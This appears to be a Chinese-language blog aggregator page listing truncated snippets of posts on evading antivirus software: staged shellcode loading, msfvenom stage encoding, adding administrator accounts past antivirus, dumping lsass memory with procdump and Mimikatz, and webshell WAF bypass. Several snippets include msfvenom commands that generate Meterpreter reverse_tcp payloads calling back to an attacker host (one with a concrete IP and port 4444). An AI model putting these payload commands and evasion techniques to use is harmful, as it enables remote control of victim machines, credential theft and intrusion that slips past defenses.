动态加载 ShellCode绕过杀软
反病毒解决方案用于检测恶意文件，并且通常使用静态分析技术来区分二进制文件的好坏。如果是恶意文件本身包含恶意内容(ShellCode)，那么依靠静态分析技术会非常有效，但如果攻击者使用轻量级的stager来代替下载并将代码加载到内存中，会发生什么？事实证明这样做可以绕过大多数杀软的查杀。 虽然这种 ...
原文：msfvenom绕过杀软之stage编码
这是green m大佬提到的一种方式，使用reverse https等payload时可以使用下列方法bypass部分杀软。 生成payload: 在msf中进行如下设置，将控制端向被控制端发送的stage进行编码 同样，使用reverse tcp rc 也有同样的效果，而且不能设置stageencoder选项，更稳定更方便。 利用rc 对传输的数据进行加密，密钥在生成时指定，在监听的服务端设置相 ...
2020-03-06 15:52 0 1087 推荐指数：
相关推荐
windows绕过杀软添加账户密码
windows绕过杀软添加账户密码 起因：system权限下存在杀软无法添加账户信息 绕过方法 1、C#脚本 运行后会在目标机器上创建一个用户为 wh4am1 密码为 qqai@love 的 Administrators 组用户 2、Dll劫持 3、copy net1 ...
msfvenom——木马免杀篇
msfvenom——木马免杀篇 目录 msfvenom——木马免杀篇 c语言执行 生成shellcode.c c语言执行 检查 python语言执行 方法 ...
绕过卡巴斯基等杀软抓取 lsass 内存踩坑
正常的 ssp 扩展（dll）可以加载到 lsass 进程中去，比如 kerberos 验证都是通过加载 kerberos.dll (它就是一种 ssp)调用 sspi 来进行验证，所以我们就可以控制加载一个我们自己的 dll 执行恶意代码从而 dump hash，但是杀软肯定会对常规 ...
利用procdump+Mimikatz 绕过杀软获取Windows明文密码
思路： 就是通过系统自带的procdump去下载存储用户名密码的文件（应该不能那么说这个文件，但是这样理解没问题），然后用猕猴桃读取。 procdump.exe Procdum ...
后门木马免杀-msfvenom和msf5(evasion)
贴上使用笔记 不多介绍了 很简单的东西 msfvenom各平台生成木马大全: windows:msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 ...
Webshell免杀绕过waf
转自：https://www.cnblogs.com/-qing-/p/10631414.html 0x03 关于eval 于 assert# 关于eval函数在php给出的官方说明是 e ...
内网渗透 day10-msfvenom免杀
免杀2-msf免杀 1. 生成shellcode msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.227.129 LPORT=4444 -f c 2. 生成python脚本 echo ‘密文 ...